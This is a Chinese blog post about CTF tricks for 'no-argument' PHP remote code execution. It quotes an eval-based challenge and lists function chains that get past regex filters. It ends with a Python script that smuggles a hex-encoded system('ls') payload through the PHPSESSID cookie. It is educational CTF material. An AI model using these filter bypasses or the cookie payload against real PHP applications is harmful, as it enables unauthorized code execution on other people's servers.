PHP无参数RCE


什么是无参数 RCE ?

无参数 RCE 使用一个函数调用语句来实现命令执行,最先被执行的函数参数为空。它大致长这个样子:

readfile(a(b(func1(),func2())));

调用语句里最先被执行的是 func1func2,这两个函数的参数都为空。
比如题目 GXYCTF2019 禁止套娃

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

题目细节具体就不写了,网上的 WP 很多,写一下常见的 trick:

常见 tricks

1. 获取当前目录

getcwd()

这个很简单不用多说。

localeconv()

localeconv 函数返回一个数组,其中decimal_point字段在当前时区下是.,可以利用起来。

2. 获取一个文件夹下的所有文件。

scandir()

3. 获取上一级目录

dirname

4. 从数组中获取一个元素

scandir 返回一个数组,怎样提取出文件名?

array_rand

此方法比较流氓,随机从数组中弹出一个元素。。。

array_flip

用于把数组中键和值的位置交换,可以配合上一条的 array_rand 使用,因为 array_rand 是随机返回数组中的键名

php 数组指针操作

移动数组指针可以提取出数组内开头两个元素末尾两个元素的键名和值。也可以配合 array_reverse 使用。

current() 返回数组当前单元的值
reset() 将数组的内部指针指向第一个单元,并返回第一个数组单元的值
end() 将数组的内部指针指向最后一个单元并返回其值
prev() 将数组的内部指针倒回一位
next() 将数组中的内部指针向前移动一位
each() 返回数组中当前的键/值对并将数组指针向前移动一步
key() 当前指针指向元素的键名

5. 从外部获取参数

无参数并不意味着不能随意传递常量数据,PHP可以从Cookie,$_GET,$_POST等地方读取数据,可以将参数藏在这些地方“走私”过去。

get_defined_vars

官方文档里的这样描述这个函数:

This function returns a multidimensional array containing a list of all defined variables, be them environment, server or user-defined variables, within the scope that get_defined_vars() is called.

然后就可以访问 $_POST, $_GET, $_COOKIE, $_FILES 里的数据啦!

getallheaders

原理类似,在HTTP Header里夹带私货。

hex2bin + session_id

利用PHPSESSID夹带私货。

hex2bin(session_id(session_start()))
import requests
url = 'http://xxx.xxx'
payload = "system('ls');".encode('hex')
cookies = {
	'PHPSESSID':payload
}
res = requests.get(url=url,cookies=cookies)
print res.content

文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !
  目录